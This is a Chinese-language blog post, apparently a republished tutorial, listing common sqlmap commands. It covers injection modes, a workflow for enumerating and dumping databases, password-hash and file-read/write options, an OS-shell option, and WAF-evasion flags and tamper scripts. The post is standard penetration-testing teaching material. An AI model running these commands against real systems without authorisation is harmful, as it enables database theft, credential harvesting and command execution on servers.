sqlmap常用命令介绍

admin 2022年6月29日02:53:24评论191 views字数 4993阅读16分38秒阅读模式

sqlmap支持5种注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。4、联合查询注入,可以使用union的情况下的注入。5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap目前支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

sqlmap常用命令:

更新命令:

python sqlmap.py --update

常用URL注入语句:

sqlmap.py -url http://192.168.64.134/sql/Less-1/?id=1--level (1-5执行测试等级level有5个等级,默认等级为1进行Cookie测试时使用2进行use-agent或refer测试时使用3进行host测试时使用 5
--risk=RISK(0-3执行测试的风险,共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
-v VERBOSE (0-6)信息级别:0、只显示python错误以及严重的信息。1、同时显示基本信息和警告信息(默认);2、同时显示debug信息;3、同时显示注入的payload;4、同时显示HTTP请求;5、同时显示HTTP响应头;6、同时显示HTTP响应页面。

常见步骤如下:

step1:sqlmap -u ["URL"] //测试是否存在注入step2:sqlmap -u ["URL"] -current-db //查询当前数据库step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容

多个url注入:

sqlmap.py -m urls.txt

txt格式如下:

http://192.168.79.130/sqli/Less-1/?id=1http://192.168.79.130/sqli/Less-2/?id=1http://192.168.79.130/sqli/Less-3/?id=1

手机移动站点注入:

sqlmap.py -u “http://www.mobile.com?Id=1”--mobile

智能测试注入:

sqlmap.py -u“http://192.168.79.130/sqli/Less-1/?id=1”--batch --smart--batch 自动选择yes--smart 启发式快速判断,节约浪费时间

post及cookie注入:

sqlmap.py -r burpsuite抓包.txt
指定参数注入:sqlmap.py -r post.txt -p 注入参数指定表单注入:sqlmap -u URL -data “username=a&password=a”sqlmap表单注入:sqlmap.py -u URL -froms

信息枚举(可以组合使用):

-a, --all                 获取所有信息-b, --banner              获取数据库管理系统的标识--current-user            获取数据库管理系统当前用户--current-db              获取数据库管理系统当前数据库--hostname                获取数据库服务器的主机名称--is-dba                 检测DBMS当前用户是否DBA--users                   枚举数据库管理系统用户--passwords               枚举数据库管理系统用户密码哈希--privileges              枚举数据库管理系统用户的权限--roles                   枚举数据库管理系统用户的角色--dbs                     枚举数据库管理系统数据库--tables                  枚举的DBMS数据库中的表--columns                 枚举DBMS数据库表列--schema                  枚举数据库架构--count                   检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb--dump                    转储数据库表项--dump-all                转储数据库所有表项--search                  搜索列(S),表(S)和/或数据库名称(S)--comments                获取DBMS注释-D DB                     要进行枚举的指定数据库名-T TBL                    DBMS数据库表枚举-C COL                    DBMS数据库表列枚举-X EXCLUDECOL             DBMS数据库表不进行枚举-U USER                   用来进行枚举的数据库用户--exclude-sysdbs          枚举表时排除系统数据库--pivot-column=P..        Pivot columnname--where=DUMPWHERE         Use WHEREcondition while table dumping--start=LIMITSTART        获取第一个查询输出数据位置--stop=LIMITSTOP          获取最后查询的输出数据--first=FIRSTCHAR         第一个查询输出字的字符获取--last=LASTCHAR           最后查询的输出字字符获取--sql-query=QUERY         要执行的SQL语句--sql-shell               提示交互式SQL的shell--sql-file=SQLFILE        要执行的SQL文件

系统文件操作

--file-read “文件路径”  据库服务器中读取文件--file-write “本地文件路径”,--file-dest “目标文件路径”    把文件上传到目标服务器--os cmd, --os-shell   运行任意操作系统命令

绕过waf常用方法(可以使用一种或多种组合使用):

检测waf类型:sqlmap.py -u “http://test.com/test.php?Id=1”--identify-waf使用代理:sqlmap.py -u “http://test.com/test.php?Id=1” --proxy=http://127.0.0.1:8080(代理地址)延迟连接:sqlmap.py -u “http://test.com/test.php?Id=1” --delay=3 (单位为秒)使用随机Usre-Agent:sqlmap.py -u “http://test.com/test.php?Id=1” --random-agent(过安全狗有点用)指定User-Agent:sqlmap.py -u “http://test.com/test.php?Id=1” --user-agent=”Firefox/xxx”调整并发线程数:sqlmap.py -u “http://test.com/test.php?Id=1” --threads=4(线程数)指定Referer字段:sqlmap.py -u “http://test.com/test.php?Id=1”--referer="https://www.baidu.com/index.html"更换错误请求:sqlmap.py -u “http://test.com/test.php?Id=1” --safe-url(正常的网站)

使用sqlmap自带的过waf脚本

sqlmap.py -u “http://test.com/test.php?Id=1” --tamper[“脚本名称”](如果脚本失效,可以自定义脚本)

注:脚本文件位于sqlmap文件夹下的tamper文件夹里面

apostrophemask.py             用UTF-8全角字符替换单引号字符apostrophenullencode.py       用非法双字节unicode字符替换单引号字符appendnullbyte.py             在payload末尾添加空字符编码base64encode.py               对给定的payload全部字符使用Base64编码between.py                    分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”bluecoat.py                   在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”chardoubleencode.py           对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)charencode.py                 对给定的payload全部字符使用URL编码(不处理已经编码的字符)charunicodeencode.py          对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)concat2concatws.py            用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例equaltolike.py                用“LIKE”运算符替换全部等于号“=”greatest.py                   用“GREATEST”函数替换大于号“>”halfversionedmorekeywords.py  在每个关键字之前添加MySQL注释ifnull2ifisnull.py            用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例lowercase.py                  用小写值替换每个关键字字符modsecurityversioned.py       用注释包围完整的查询modsecurityzeroversioned.py   用当中带有数字零的注释包围完整的查询multiplespaces.py             在SQL关键字周围添加多个空格nonrecursivereplacement.py    用representations替换预定义SQL关键字,适用于过滤器overlongutf8.py               转换给定的payload当中的所有字符percentage.py                 在每个字符之前添加一个百分号randomcase.py                 随机转换每个关键字字符的大小写randomcomments.py             向SQL关键字中插入随机注释securesphere.py               添加经过特殊构造的字符串sp_password.py                向payload末尾添加“sp_password” for automatic obfuscation from DBMS logsspace2comment.py              用“/**/”替换空格符space2dash.py                 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符space2hash.py                 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符space2morehash.py             用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符space2mssqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符space2mssqlhash.py            用磅注释符“#”其次是一个换行符替换空格符space2mysqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符space2mysqldash.py            用破折号注释符“--”其次是一个换行符替换空格符space2plus.py                 用加号“+”替换空格符space2randomblank.py          用一组有效的备选字符集当中的随机空白符替换空格符unionalltounion.py            用“UNION SELECT”替换“UNION ALL SELECT”unmagicquotes.py              用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入varnish.py                    添加一个HTTP头“X-originating-IP”来绕过WAFversionedkeywords.py          用MySQL注释包围每个非函数关键字versionedmorekeywords.py      用MySQL注释包围每个关键字xforwardedfor.py              添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

原文始发于微信公众号(菜鸟小新):sqlmap常用命令介绍

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月29日02:53:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqlmap常用命令介绍http://cn-sec.com/archives/1142192.html

发表评论

匿名网友 填写信息